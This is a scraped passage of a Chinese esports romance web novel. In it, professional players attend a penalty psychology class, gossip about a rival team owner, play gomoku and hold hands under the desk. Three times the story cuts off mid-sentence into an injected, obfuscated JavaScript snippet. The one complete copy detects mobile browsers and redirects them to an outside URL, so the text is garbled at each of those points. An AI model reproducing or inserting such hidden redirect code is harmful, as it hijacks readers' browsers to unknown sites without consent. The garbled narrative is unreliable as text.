郁秋耸耸肩:“可能大家上课的心理效应吧,走了,进去吧。” 他俩最后坐在了倒数第三排的中间两个位置,这一排目前一个人都没坐在这。 夜雨辰一坐下来,就立马对郁秋说道:“上课叫我,趴会。” 说完,不等对方回复,他也立马趴下闭眼睡觉。 困意是会被传染的,何况他本来就困。 不知过了多久,夜雨辰被教室的喧嚣声吵醒了。他打开手机看了一眼——现在是8.58。 快上课了。 他迷迷糊糊的坐起身,浅浅伸了个懒腰,睡意朦胧的视线环顾了下教室。 他不禁觉得有些奇怪。 除了他们这一排和教室的前两排,教室几乎坐满了。 比较晚来的选手似乎都精力十足,完全没有任何想在教室补觉的意思,都在聊天或抱怨自己怎么倒贴钱来到这个地方,其中包括一些他曾经在比赛直播上看到过的职业选手。 他偏头看向郁秋,问道:“你不是困吗?不趴会?” 郁秋颔首,眉间似乎有些阴郁的气息,面色平淡道:“嗯,不习惯在外面睡 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一名娃娃脸青年一闯入教室,目标便直直锁在了这一排。他迅速冲到了这排座位靠近夜雨辰的那侧,像是怕被别人抢走什么宝物似的,他看也没看这一排坐着谁,直接往里面的座位走去,一边开心地自言自语道:“这么晚居然还有这么好的位置,不错不错。” 直到准备坐下的时候,他才顺便看了一眼坐在自己旁边的人,恰巧,和夜雨辰刚睡醒的阴郁视线撞了个满怀。 娃娃脸青年一愣——这是一个他从未在联盟见过的好看的陌生面孔。 就是……看上去好像有点凶? 不过,这人另一侧坐着的那个人,他就认识了。毕竟全联盟没几个会如此半着头发。 他笑着和对方打了个招呼:“郁秋,好久不见啊。” 郁秋朝他轻微点了点头,然后对夜雨辰小声介绍道:“PG的小柯。” 夜雨辰的脸色不禁变得怪异了起来。 PG可是近几个赛季三大夺冠战队之一,而小柯和希楠,则是联盟里最火最强的中野组合,也是明星选手。 原来明星选手也会被罚来这吗? 小柯重新将目光放在夜雨辰身上,眼里满是好奇。他凑近和对方的距离,端详着他的面庞,讶异道:“你居然会和郁秋坐得这么近……你是Night吗?” 夜雨辰还是不习惯和一个陌生的人突然凑得这么近,下意识往郁秋的方向靠了靠,拉开和小柯的距离,淡漠道:“我和他是队友,坐得近不正常?” 娃娃脸青年立马附身凑到夜雨辰耳边,小声道:“你难道没发现郁秋旁边都没坐人……” 还没说完,他后颈的衣领突如其来传过一股拉力,同时,他面前也挡来了一个手掌。 两道不同的声音不约而同地从他身后和身前响起:“保持距离。” 小柯和夜雨辰愣了一瞬:“……?” 两人分别回首,不满地看向身后阻拦自己的那个人,皱眉道:“你干什么?” 话都还没说完/听完呢! 希楠冷漠道:“有什么话需要贴着别人的脸说?” 郁秋平淡道:“你俩靠得太近了。” 说着,郁秋就瞥向他身旁仍然站在原地的平头青年,无语道:“你还坐不坐?不坐别挡着别人,你后面那个人等你好久了。” 平头青年一愣,疑惑地看向身后。 只见嘉辉正站在那双手抱胸,满脸不耐烦地看着他:“大哥,可以让我进去吗?你不要这个座位我还想要。” 平头青年:“……” 他默默地让出位置。 看着嘉辉如此果断地坐在了郁秋的旁边,他脸色闪烁着的犹豫色更加频繁了。 “到点了,上课。” 讲台真中央不知什么时候站上了一名中年人。 沙哑却不失威严的声音听得平头青年一个激灵,立马坐了下来。 其他站着的选手也立马一屁股坐了下来、趴着睡觉的人瞬间坐起身、说话的人倏然噤声,这个人的出现就像教官一样,让整个教室顿时鸦雀无声。 站在讲台中央的中年人示意旁边的助理下去收手机后,冷眼扫了一遍整个教室。 有些被恰巧和老师对上视线的人,不知是不是对老师的心里阴影,下意识地吞了口唾沫。 中年人在瞥到七戈的时候,微微蹙起了点眉。 最后,他缓缓开口,“最后两排的人,坐到前两排来,不然我面前空着看得难受。” 他的一字一句铿锵有力,不容任何人反驳。 但最后两排的人没有一个人立马动身,大家的脸上都写满了焦灼和难堪之色;而坐在第三四排的人,特别是晚来没抢到位置的人,脸上都挂上了一抹幸灾乐祸的笑容。 没人愿意坐前两排位置无非都是想浑水摸鱼或趁机补觉,赶紧度过这三个小时,坐在前两排被老师盯着分神或是犯困睡觉,被逮个正着都会尴尬。 看着没人行动,中年人脸上也没有愤怒。他的语气依旧十分平淡: “话,我不说第二次,谁坐最后两排,谁今天的成绩直接不及格。” 51. 中野 此话一出,有人直接站起身。 不及格的话明天照样要早起来上课,那更加折磨。 夜雨辰看着那些被迫换位置的人,心里不禁想起来一件事,用手肘怼了怼郁秋,咬牙道:“我记得你早起是想让我们占后排的位置?” 如果他们刚刚真的占到了那两排的位置,现在岂不是也跟着要去前面坐着了? “……”郁秋幽幽瞥开视线,“帮你养成早睡早起的好习惯。” 夜雨辰翻了个白眼。 呵呵,谁信? “喂,喂,Night。” 坐在他另一边的小柯趁着教室众人吵闹的时候,又靠到了他旁边。小柯的目光盯着远处,小声对他说,“你离那俩家伙远点,我记得其中一个是前几天和你俩上素材的吧?” 夜雨辰顺着小柯的目光看去,只见刚刚在走廊撞到的七戈和UM的打野俩人正黑着脸坐在了第一排正对着讲台的位置。 他目光平淡道:“肯定,那家伙我刚刚才知道是个抖M。” 郁秋在旁不由得抿紧嘴唇。 “抖M?!”小柯小声惊呼。 希楠偷偷把目光瞟向二人。 下一秒,小柯眼里立马闪烁起了光芒,“你怎么知道的?我都没听说过这则消息,能不能细说他具体哪里M了?” 夜雨辰眼神不禁变得微妙。 这是什么反应? 他根据刚刚的实情答道,“他刚刚求我打他的脸。” 小柯倒吸一口凉气,瞪大双眸:“不是吧?你俩不是关系不和吗?玩得这么花??” 夜雨辰点点头:“对,他求我的时候还一脸兴奋的样子,所以这不是抖M是什么?” 小柯恍然大悟:“原来如此。” “……”听着这二人的对话,郁秋没忍住一巴掌排在自己的额上,在夜雨辰耳旁小声无奈道:“你能不能不要什么都和其他战队的人说?” 夜雨辰莫名地看着他:“你和他不熟?” 他记得刚刚是小柯主动给郁秋打招呼的,他还以为他俩很熟来着。 小柯听到这句话,立马抢答道:“特别熟虽然算不上,但肯定不至于不熟。” 郁秋冷冷道:“不熟。” 说着,他目光就跨过这二人,看向希楠道:“你管好你家队员行不行?怎么让他天天八卦这些奇奇怪怪的东西?” 希楠冷漠地把目光扫过郁秋,然后再看看夜雨辰和小柯二人,最后一副事不关己的模样把视线重新放回讲台上,看上去并。 小柯看着郁秋,幽幽道:“好歹都是一个战队出身的,郁秋你什么意思?” 一个战队出身? 夜雨辰一怔。 啊对了,小柯和希楠以前是JYY冠军时期的首发打野和中单。 他们是One和Qian以前的队友。 郁秋冷哼一声:“是一个队出身,但我和你俩可没同队过。” “好了,安静。” 见所有人的位置换完,讲台上的老师直接发话。许多人许是对老师这个身份存在不小的阴影,听到这四个字,瞬间噤声,并将注意力都放在了讲台老师的身上。只见他操控着电脑打开投屏,缓缓介绍道, “我姓魏,你们叫我老魏或魏老师都可以,这几天的特殊培训课和综合素质培训课的心理课都由我负责,过会助理会给你们每人发一张纸和笔做笔记,下午三点闭卷考,满分一百,及格线九十;上课睡觉、干扰我上课、没交手机被发现在偷玩的人一律不及格处理,不合格的人……” “喂,Night,” 此时,小柯趴到桌子上,又偷偷往夜雨辰的方向靠了靠。他轻轻戳了戳他的小腿,小声问道,“你不觉得这种课很无聊枯燥吗?” 夜雨辰靠在椅背上没有理他,而是坐着一动不动微垂着头,刘海遮住了他的眼睛。 郁秋手肘撑在桌上,手托着下巴,刚刚好用手掌遮住自己的嘴,身子稍稍往夜雨辰的方向倾斜了一点,对小柯小声嫌弃道:“骚扰你家希楠去,你没看他不想理你吗?” 小柯抬眸看向郁秋,满眼挑衅:“我就不。” 郁秋:“……” 想揍人。 “夜雨辰。” 突然,老魏点了夜雨辰的名字。 坐在二人中间的夜雨辰身体微微一颤,立马抬头:“到。” 老魏推了推鼻梁上的眼镜,眯着眼看着他:“来,你先来回答这个问题。” ? 纵使心里在疑惑,夜雨辰还是面无表情的站起身。 刚刚老魏开始自我介绍的时候他就没忍住犯困了。 就是没想到直接被点了名。 所以他问了啥? 夜雨辰不经意地垂眸偷偷瞟了一眼郁秋试图询问,只见对方脸上写着难堪之色,而旁边的小柯则是突然凑向另一边和希楠小声聊天。 夜雨辰:“……” 这俩人不会也没听到吧? 突然,小柯又立马凑回夜雨辰身边,极小声道:“你为什么会被罚到这里上课。” 夜雨辰一悟,面不改色对讲台的人道:“巅峰被同个队友连续坑了两把,没忍住在局内问候了下他。” 说着,他冷漠的眼神顺便扫过了坐在第一排、正回头看着自己的七戈。 老魏点点头,示意他坐下,然后看向他身边的人道:“夜雨辰旁边那位,短头发的,你也来回答这个问题。” 小柯瞪大双眸看着讲台,指了指自己。 好像在问 老魏莞尔道:“对,就是你,我看你挺乐于助人的,所以顺便做个自我介绍吧。” 小柯脸瞬间垮了下来。 夜雨辰幽幽地瞥开视线,希楠没忍住勾起嘴角。 小柯:“……” 他撅着嘴,不情不愿地站起身。 教室其他人看清这个娃娃脸,不少人直接发出一小道哗声。 PG的小柯已经让很多人眼熟了。 老魏同样听到了教室的动静,挑眉道:“看样子不少人认识你啊?” “……哈哈。”小柯挠了挠头,干笑了两声,语速极快道,“虞柯,来这里是因为我左手边这家伙直播时的骂人声传到了我的直播间,然后联盟就把我罚了。” 说完,他就急匆匆地坐下了。 “原因还挺别致。”老魏摸索着下巴,点了点头,看向希楠道:“那他左手边这位同学,你也来回答一下这个问题。” 希楠:“……” 他意味深长地看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我啊?我没必要讨厌他吧?”小柯疑惑道,“他是不是关系户不关我事,他没影响到我的利益。而且就算他是,他也不像邱子幸妨碍到了别人的公平竞争,而且刚刚好因为老One让我俩认识了,然后就发现郁秋不像圈内传的那样——在队里是一副嚣张跋扈、鼻孔朝天的模样。” 嚣张跋扈?鼻孔朝天? 夜雨辰挑眉,眼睛里写满了无语。 这都会有人信?说他品味差还差不多。 “所以,你问这个,是在意他吗?” 小柯不由得探究道,“你和他最近传的那个cp,我还以为是你们战队为了热度炒作呢,现在看上去好像并不是这样啊。” 夜雨辰皱起眉:“你想表达什么?” 小柯直白道:“当然是好奇你和郁秋到底是炒作还是真的啊?” 夜雨辰微妙地看着他:“什么真的?” “唉,你咋听不懂呢?” 小柯叹了口气,在夜雨辰直勾勾的注视下,他头也不转地直接在桌下拉过希楠的手,并十分自然地把手指钻入希楠的各个指缝间,毫不避讳地展示给了对方看。 他仿佛做的是一件十分平常的事,语气十分自然的对夜雨辰道:“当然是这种真啊。” 52. 心理效应 夜雨辰看着桌底下密不可分的两个手掌紧紧相扣,希楠的拇指似无意地在小柯的手背上轻轻摩挲着,他表情不由得变得有些古怪:“你们俩要在同事面前保持cp人设?” 希楠和小柯是当今联盟最火的中野组合,而且他们俩从打职业到现在开始好几年一直都在相同的战队,就算换战队也是同时换,是联盟极少见的情况之一,所以他俩在圈子里的cp话题早在一年前就开始在网络上爆火。 因此,电竞圈里不少战队开始跟着效仿他俩,捏造各种“队内CP”的话题为战队博取热度和粉丝。 小柯一噎。 他松开希楠的手,眼里满是“无语”两个大字。他张了张口想解释什么,但像是想到了什么,把嘴又不情不愿地闭上了。 半晌后,他只憋出来了一句话:“行吧,我知道了。” 听着里面似是夹着一股失落,夜雨辰不禁对此感到疑惑。 这时,突然有人轻轻戳了下他的腰。 腰上被触碰的点传来的酥痒感瞬间遍布全身,他下意识一激灵,喉咙深处狠狠压住一声娇息,全身轻抖了一下。 他立马转头瞪向郁秋:“你干什么?” 郁秋看着对方又怒又羞的反应,心里的不快顿时消散。他忍住自己想上翘的嘴角,语气平淡道:“你们在聊什么?” “……” 夜雨辰瞬间眼神变得怪异了起来,下意识垂眸瞟向郁秋的手—— 雪白的手背上淡青色的脉络十分显眼,手指骨节分明,纤细修长。 他的眼神不禁有些呆滞。 总觉得……比上次看的时候还养眼了不少。 他抬眸,面不改色道:“没聊什么,叫我干啥?” 郁秋瞟了一眼大屏幕上的讲课目录:“上面那些你会吗?” “……”夜雨辰顺着目光瞟了一眼PPT列出来的大标题,“微有涉猎,怎么了?” 郁秋把对方的一举一动收进眼底:“不担心考试的话……这课听得有点困,还没手机玩,来不来下棋? 夜雨辰挑眉:“如果就屏幕上这些,确实不担心。所以什么棋?” 郁秋指着放在面前桌上的白纸和笔,思索了一会:“五子棋?会吗?” “……”夜雨辰看了眼桌上的纸,“会一点。” 郁秋拿起笔,把纸放到他们俩中间:“来?” 夜雨辰同样拿起笔,满是警告的看着他:“你下次叫我别碰我腰。” 他几乎没被别人碰过这个地方,很痒。 郁秋颔首,莞尔道:“我的错,那你先手。” 夜雨辰冷哼一声,心安理得的接受了对方的提议,并随手在纸上打了个“×”。 下棋过程中,二人十分谨慎,只要对方有两个棋子相连在一起,有任何进攻的趋势,不论是谁,他们都会直接去堵住对方的道路,完全不给一丝一毫的机会。 白纸不知不觉越画越满,可二人连第一局都还没分出胜负。 郁秋看着棋盘思索着,画上了一步棋,小声道:“一个休闲小游戏这么认真?” 夜雨辰专注分析着棋盘上的局势,最终堵住了郁秋刚下的一个十分隐蔽、能将他绝杀的“三三阵型”,然后满是挑衅地看向他:“打不过开始用言语攻击了?玩不起?” 较真的究竟是谁? 郁秋像是预料到对方要下这步棋似的,这次画的位置毫不犹豫,直接挡住了夜雨辰刚刚下的边进攻边防守的位置,笑道:“这不是觉得你进攻太强势了我撑不住来服软吗?” 夜雨辰冷笑一声,继续进攻:“不信。” 服软会直接下一个这么大的陷阱给自己?要不是他火眼金睛,他这把就输了。 明显就是前面的阵型全被自己识破了,所以才想要拿场外来让自己分神。 “第四排中间那四个还挺热闹的啊?” 突然,老魏的声音贯穿整个教室。 夜雨辰和郁秋一怔,迅速抬头看向讲台,二人恰好和老魏对视上。 只见老魏扶了扶眼镜框:“四个人围在一起看啥呢?一个笔记需要八只眼睛?” 四个人? 二人感到疑惑,分别扭头看向旁边,只见嘉辉和小柯脸上挂着相同的尬笑,心虚似的把目光瞥向一旁。 郁秋、夜雨辰:“……” 同样对上课兴致缺缺到犯困的嘉辉和小柯,在注意到郁秋和夜雨辰两人中间的纸上画得满满当当的黑色墨水后,不知什么时候开始,他俩幽幽地凑到这两人旁边,默默地看着他们俩博弈。 而且为了看清棋盘的局势,他们甚至自以为十分不显眼的坐直身体,身体不知不觉地凑到二人身后,目光依旧直勾勾地看在棋盘上分析着局势,殊不知,在讲台上的老魏早就注意到了这两人的举动。 老魏看着座位上两个被点名后的面色怔然和两个尴尬的人,不紧不慢道:“刚好到抽人回答的环节,你们来简述一下我刚刚讲的这几个效应的结论。” 四个人不情不愿的站起身。 其他犯困的人一听到上课分神会被点名回答问题,困意顿时烟消云散,并纷纷回首,向坐在第四排的人投去好奇的目光——两个陌生的面孔,两个眼熟到不能再眼熟的面孔,而其中一个人还是…… 不少人脸上露出一抹幸灾乐祸的笑容。 “噗嗤。” 突然,一道十分凸显的极大笑声在寂静的教室里响起。 老魏蹙眉,看向发出这满是嘲讽的声音的七戈:“你是有什么问题吗?” 七戈瞬间收起脸上的笑容,像是惧怕这个回答问题的‘好事’降临到自己头上,朝着老魏疯狂摇头:“没,没有。” 老魏意味深长地看了他一眼,然后看向那站起的四个人,晃了晃电脑里的鼠标,并示意着他们看向正在投屏的大屏幕道:“你们依次来回答PPT上的这几个,一人一个,从最靠近走道的这个人开始,谁说不出来我就当你们没认真听课,先扣个十分。”说着,他看向了嘉辉。 扣十分?那如果扣了不就是考试一分容错都不能有了吗? 夜雨辰挑眉,第一次看向大屏幕上展示的文字—— PPT的雪白背景上,只有二十个左右的大黑正楷字摆在上面。 嘉辉看着第一个词,有点结巴道:“马...马太效应是,‘赢者愈强,弱者愈弱’。” 老魏点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“‘跳蚤效应’告诉我们,不要轻易定义自己的下限,”小柯干咳了两声,语速极快的继续补充道:“课上讲这个效应是为了告诉我们,如果我们赛场上碰壁导致输了对局,比如,赛场上队里玩的体系是自己练过很久却不擅长的英雄,结果被打出了心理阴影,甚至让自己被那些看比赛的人喷得惨不忍睹后,不要因此感到畏惧和心理压力从而不再去尝试练习这个英雄,嗯对,大致就是这个意思。” 说着,他还似是为自己的回答满意的点了点头。 “可以啊,还有举例子,那这次就放过你吧。”老魏满意的鼓了鼓掌,随即,话锋一转,“但不妨碍我没看到你站着和你旁边那位讲悄悄话,林希楠是吧?你来回答这最后一个答案。” “……” 希楠站起身,他先微妙的看向小柯,半晌,他嘴角意味不明的一翘,看得小柯全身不禁发出一道战栗。像是满意这个反应后,他才重新看回讲台,看着‘食盐效应’道:“再好的锦上添花不如雪中送炭。” 看着就这么噤声的希楠,老魏不由得好奇道:“你不能也举个例子吗?” 希楠淡淡道:“我旁边这位喜欢,让他来举。” 说完,他便坐了下来。 小柯看着老魏期待的视线就这么水灵灵地重新落回了自己身上:“……?” 他喜欢个屁! 53. 相扣 “课间休息二十分钟,十点四十回来点名。” 老魏话音刚落,教室里一大波人“唰”地一下,直接倒在桌上呼呼大睡。 夜雨辰在座位上十分轻松的伸了个懒腰,并没有趴下睡觉的打算,他丝毫没有去管脸上挂着一抹不自然的郁秋,而是起身欲离开教室,似是因为在教室一直坐着接近两个小时,想出去放放松透透气。 但他耳垂正挂着一抹显眼的绯红。 他们俩面前的桌上放着两张画得满满当当的A4白纸。 上面的棋局一看就是双方势均力敌,旗鼓相当。 从被点起来回答问题坐下以后,他和郁秋就继续玩起了五子棋,直到现在。 一共就下了两把。 俩人嘴上都对对方说是“休闲小游戏”拿来打发上课犯困,结果对局里,一个比一个深思熟虑、未雨绸缪。 认真思考的动脑过程将他们的困意彻底冲散,精神愈发亢奋,而为了拿下胜利,从郁秋开始带头不择手段,夜雨辰便也开始跟着效仿,于是二人开始不停地玩场外下手段。 夜雨辰记得最过分的那一次是,郁秋直接一边下最关键的一步棋,一边凑到自己耳边,低沉的声音从他耳边响起——“夜哥太厉害了,可以放下水吗?” 温热的鼻息掠过他的耳垂,轻洒在他的颈上,心脏顿时漏跳一拍,一阵酥麻感遍布他的全身。 然后,他的大脑就突然宕机了。 在郁秋的催促下,他潦草的下了一步棋,结果,第一把就这么输了。 小柯在一旁看着棋局上夜雨辰谨慎了一整把,最后竟然输在如此显眼的阵型上,不可思议地抢过棋盘,反反复复确认夜雨辰确实输了以后,满脸不可思议道:“你这是下烦到想立马开始下一把所以给他放水了?” 逐渐回过神的夜雨辰脸色不由得沉了下去:“……” 他把一张新的白纸放到二人中间,看向似是因为拿下胜利而挂着一抹得意洋洋的笑容的郁秋,冷声道:“再来。” 他绝对不会再次上当。 郁秋自然不会推脱。 第二把依旧打得难舍难分,二人依旧会在为对方下好陷阱阵型后,开始用场外语言干扰让对方从棋局上分心。 像第一把一样,不痛不痒的场外几乎对对方的思路毫无影响。 于是,在棋盘上遍布着密密麻麻的棋子、特别容易看走眼的时候,夜雨辰眼里闪过一抹灵动的光。 他和郁秋都是右撇子,而他坐在郁秋的左手边。 他本来一直维持着左手托着脸,装作认真听课、而右手似在做笔记的姿势。所以,他在确定好自己的下一步棋后,似是因为坐累而很自然的换了一个坐姿。 他整个人靠在椅背上,左手随意放在自己大腿上。他画下棋子后,像是感到疲惫般,把右手连带着笔耷拉在了自己腿上。 他侧眸看向郁秋深度思考的模样,偷偷把右手的笔传到左手,然后,他的右手在桌底下偷偷把自己的手往郁秋的方向伸。 在触碰到到冰凉光滑的肌肤时,他拿自己的小拇指挑逗似的勾了勾对方纤细修长的手指。 只见郁秋全身肉眼可见的僵了一瞬。趁着他缓缓垂眸看向桌下发生的变故的时候,夜雨辰趁机悄悄凑到对方耳旁,小声吹气道:“秋哥,小游戏而已,不要这么较真嘛。” 然后,他就感受到郁秋全身更加僵硬了。 神色也开始变得紧张了起来。 夜雨辰嘴角勾起一抹玩味的笑,接着,他用自己的胳膊碰了碰郁秋的胳膊,不耐烦地催促道:“叫你不要较真而已,你怎么还发呆上了?快点下。” 郁秋手上这才有了动作。 他十分快的在纸上随心的画了个歪斜的圆圈。 夜雨辰看到对方这一步棋完全没去管自己设下的陷阱,嘴角一勾。 玩阴的,谁不会? 就在他准备一招制胜的时候,突然,他愣住了。 他的右手不知什么时候被禁锢住了,无法动弹。 甚至还有一股不小的拉力在阻拦他抬起手。 ? 他疑惑地低下头,目光顺着异常处看去。 只见他的手不知什么时候从勾勾对方的手指变成直接钻入进了对方的手心。 而且两人的手都密不可分的和对方在紧紧相扣。 “……?” 他怎么对他们俩什么时候开始这个姿势完全没有印象? 而且,他的大拇指为他的大脑后知后觉传来了一阵触感—— 光滑且柔软。 “……” 他没忍住吞了一口唾沫,脑子里顿时闪过刚刚看着小柯和希楠牵手的画面。 他的手指究竟是从什么时候开始在郁秋的虎口处摩挲着啊?! 虽然手感很舒服…… 郁秋在旁干咳两声,沙哑的催促道:“快下,别磨蹭。” 夜雨辰意识瞬间回神。 他冷哼一声:“你这么抓着我我怎么写字?” “不是你先动手的吗?” 说着,郁秋幽幽地转过头,但是他的手握得更紧了,完全没有任何放手的打算。 夜雨辰眼神幽森地看着对方的后脑勺。 无赖。 郁秋肯定是突然看穿自己中招,他这把已经必胜,所以直接使用物理手段阻拦他下棋了。 他轻轻用力了一下试着挣脱对方的魔爪。 结果对方的手心依旧雷打不动地紧握着自己。 掌心相贴,两个人互相感受着对方手里的温度。 夜雨辰的脸上浮起一层不起眼的绯红,但眼里闪过一丝不耐。 不就输一把游戏吗?输赢这么较真? 他轻啧一声,最后直接用左手画了个线条扭曲、歪歪斜斜的画了个“×”成功报仇雪恨。 恰好,这时候老魏宣布了课间休息。 一下课,他便用力地甩开郁秋的手,若无其事的站起身伸了个懒腰。 恰好,坐在他们俩周围的四个人也同时离开了座位,并没有选择在教室继续休息。 教室虽然有空调,但毕竟是密闭环境,不少人更喜欢去室外呼吸一点新鲜空气顺便走动走动放放松。 “Night,一起走走?”小柯看着一起跟出来的夜雨辰,向他发出了邀请。 夜雨辰对这个倒是无所谓,他点了点头,然后转头看向嘉辉:“你怎么也来这了?” 嘉辉一噎,小声撇嘴道:“巅峰赛在别的主播里骂粗被抓了个正着……” 小柯顺着夜雨辰的目光看向嘉辉,上下打量着对方,好奇道:“所以你也是新选手吗?哪个队的?” 嘉辉脸上闪过一抹尴尬,轻微的点了点头:“嗯……SupS。” 夜雨辰介绍道:“嘉辉,和我同届,射手。” 小柯瞬间恍然大悟,对嘉辉道:“你也认识郁秋?” 嘉辉:“不算认识吧,见过一次。” 他对郁秋线下的印象并不多,就只见过上次郁秋特地接夜雨辰回基地的那一次。 他那时凭感觉觉得,这人看上去似乎轻浮了点,但是行动和话语上却有种细腻感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081147|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且整个教室除了夜雨辰和郁秋,他没有其他认识的人,而夜雨辰另一边已经被小柯他们占据了,所以他就选择坐在了郁秋的那一侧。 而且教室也没有其他座位了,他才不想坐在前排。 小柯思索了一下,语重心长道:“那刚好提醒你们一下,这个圈子里不要轻易去相信别人嘴里的他人究竟是什么样的,你们要相信自己接触对方时的实际模样。” 说到这,许是觉得自己的表达不太准确,他补充道:“虽然眼见也不一定为实吧,但还是不要轻信谣言里的他人为人。” 夜雨辰垂眸思索着。 是因为郁秋在圈内的谣言和他实际上的为人完全不相关吗? 可为什么一个教室那么多人都会如此轻易相信一个对陌生人的谣言呢? 教室里不可能郁秋都和他们认识吧? 他抬眸问小柯:“刚刚坐在最边上的那个人,你认识吗?” 那个在犹豫要不要坐在他们这一排的平头青年。 小柯点头,“HGM的风行,也算个老选手了。如果你们战队这赛季能冲上A组,那就会和他们队打上比赛了。” 夜雨辰继续问道:“他讨厌郁秋?” “算不上。”小柯摇了摇头,“他只是想避嫌吧?毕竟和郁秋走得近都会有什么不好的传闻传到自己身上。” 夜雨辰挑眉。 是不是有点夸张了? 小柯似乎读懂了他脸上的表情,耸了耸肩:“真不是夸张。” 他凑到夜雨辰的耳边,小声道:“这个就是邱子幸干的了,谁和郁秋走得近谁就在论坛上会有些不好的传闻,这是郁秋进JYY后才发生的事情。” 夜雨辰完全没有作声。 他微微垂眸,刘海遮掩住暗潮波动的双眸。 又是邱子幸…… 虽然他从未实打实见过的线下见过这个人,但进JYY后,他一次又一次的听说这个人的名字,一次又一次地听说这个人的“壮举”,给他身边不论是队友还是朋友,还有郁秋……都带来了不幸的遭遇。 “郁秋确实算职业选手里比较倒霉的人之一。”小柯一边走着,一边惋惜似的叹了口气,“单论游戏里的成绩来说,他是职业圈里唯一一个在GloryK里有最出色的人。霸榜‘全国第一’一整个赛季啊,我也想这么风光,打职业前就已经有了那么多粉丝。” 说着,他不禁自嘲道:“以前好几次国服月底定榜,我拿了四五个英雄的国服第二,全是因为郁秋这家伙把我压在了下面,拉开的分差太大,根本超不过。而且就算他撞到了我对面,大部分都是我被他碾压,只能说我输得心服口服。” “不过……”说到这,小柯一顿。 他睨向夜雨辰,眼神探究道,“你有兴趣听听我对郁秋在圈子里遭遇的真实想法吗?” 此时,他们三个刚好走到了室外。 夜雨辰颔首:“愿闻其详。” 他还是觉得,总有什么他未曾听闻的事情导致了一整个教室几十个选手都像避瘟神似的讨厌郁秋。 小柯嘴角一勾:“你就不怕我是在扰乱你们战队军心?” 夜雨辰摇头,笃定道:“不怕,没那么容易。” 小柯一怔,小声无奈道:“好天真的新人。” 他抬头看向湛蓝的天空,思绪飘向远方,感慨道,“他在职业圈现在的处境,他自己应该也知道为什么会变成这样。在我们这些已经在圈里呆了至少三年的选手看来——” “有些他虽然是无妄之灾,但有些,确实是他自作自受。” 54. 第 54 章 自作自受? 夜雨辰挑眉。 一个……有点出乎意料,但又在情理之中的答案。 小柯上下观察着他听到这句话的反应,不由得升起一股好奇心:“你的反应有些平淡,我还以为你会惊讶。” 夜雨辰感到奇怪:“为什么会惊讶?” 小柯实话实说:“你都不知道他为什么会成为圈里的众人嫌,所以你应该不清楚以前的郁秋究竟是什么样。” 以前的郁秋? 他确实不知道,但单从线上对他开始的印象来看,确实有点讨厌? 他永远忘不了被郁秋持续一个月阻拦全国第一晋级赛,还在局内不断被嘲讽的那段时间。 不过…… 夜雨辰面露无语之色:“是你刚刚跟我说不要轻易相信别人嘴里的为人。” “……也是。”小柯干咳两声,“那你是信了还是没信?” 夜雨辰淡淡道:“信不信不重要,他现在人挺好的,这就够了。” 现在的战队内部都和郁秋的关系很好,不论外界怎么对待他,都不会干涉到他们内部的关系。 小柯意味深长地看着他,嘴角没忍住微微翘起。 嘉辉在旁边期待着后续却戛然而止的话题,没忍住好奇心道:“所以郁秋以前到底是什么样的人?” 小柯瞄了一眼夜雨辰,思索片刻,他还是没选择直接说出答案:“你可以回去查查以前圈内的消息,或直接去问你那些职业龄超过两年的首发队友。” 说着,他凑到嘉辉耳边,保证自己的声音不给夜雨辰听到:“可以说的是,他那些传闻不论真假,已经是很多新人的反面教材了。” 说完,他便立马拉开距离,语重心长道:“不过,别把过去的他和现在的他混为一谈。” 夜雨辰在一旁默默把小柯的话都记在了心里。 虽然他能接受郁秋‘自作自受’,但不代表他不好奇郁秋以前在圈内到底是什么样的人。 “虞柯,有没有空?” 突然,一道略微沙哑的陌生声音从他们身后响起。 几人一回头,便看到一个手里还燃着半根烟、身着深灰色T恤米色工装裤的青年站在他们身后。他又大抽一口,声音略带阴郁道:“想问你些事。” 夜雨辰闻到一股烟草味,微微皱起了眉。 小柯看到来者,瞬间心知肚明:“邱子幸?” 青年眉头皱起,点了下头。他瞥了一眼夜雨辰和嘉辉,对小柯道:“能不能就我俩聊?或是你把林希楠叫来我们三聊。” 小柯眨了眨眼:“你找我不如去找郁秋,他知道的肯定比我多。” “郁秋?”青年眉头拧成一团,眼里满是嫌弃,“不要,问你够了,你可是圈内知道消息最多的人了。” 看到对方对郁秋嫌弃的模样,夜雨辰下意识蹙起眉。 而且不知道是不是错觉,这人刚刚看他的眼神,似乎也充满了厌恶。 小柯扶额,耐心对青年道:“白柚,我是因为喜欢八卦所以会去打探别人的消息,但邱子幸是差点毁了希楠职业生涯的人,所以我完全不会有任何想法去打听他,看到他我都嫌碍眼。” “其次,你要是去问希楠甚至是去问啊钧这个问题,他们回答肯定和我大差不差。我们当初得知JYY的老板换成邱子幸他们后,能跑的几乎都跑了,毕竟一进队就挤掉别人首发能是什么好狗?你要是真想知道邱子幸在队里是什么样的人,那询问对象肯定是和他呆得久的那些队员。” “所以郁秋,张凌开,许千俊甚至万帅,他们几个肯定随便一个都比我们知道的多。而且我和他们关系好,所以更不可能每次出去玩的时候去戳他们心里的伤口。” “……” 白柚的脸色更加阴郁了。 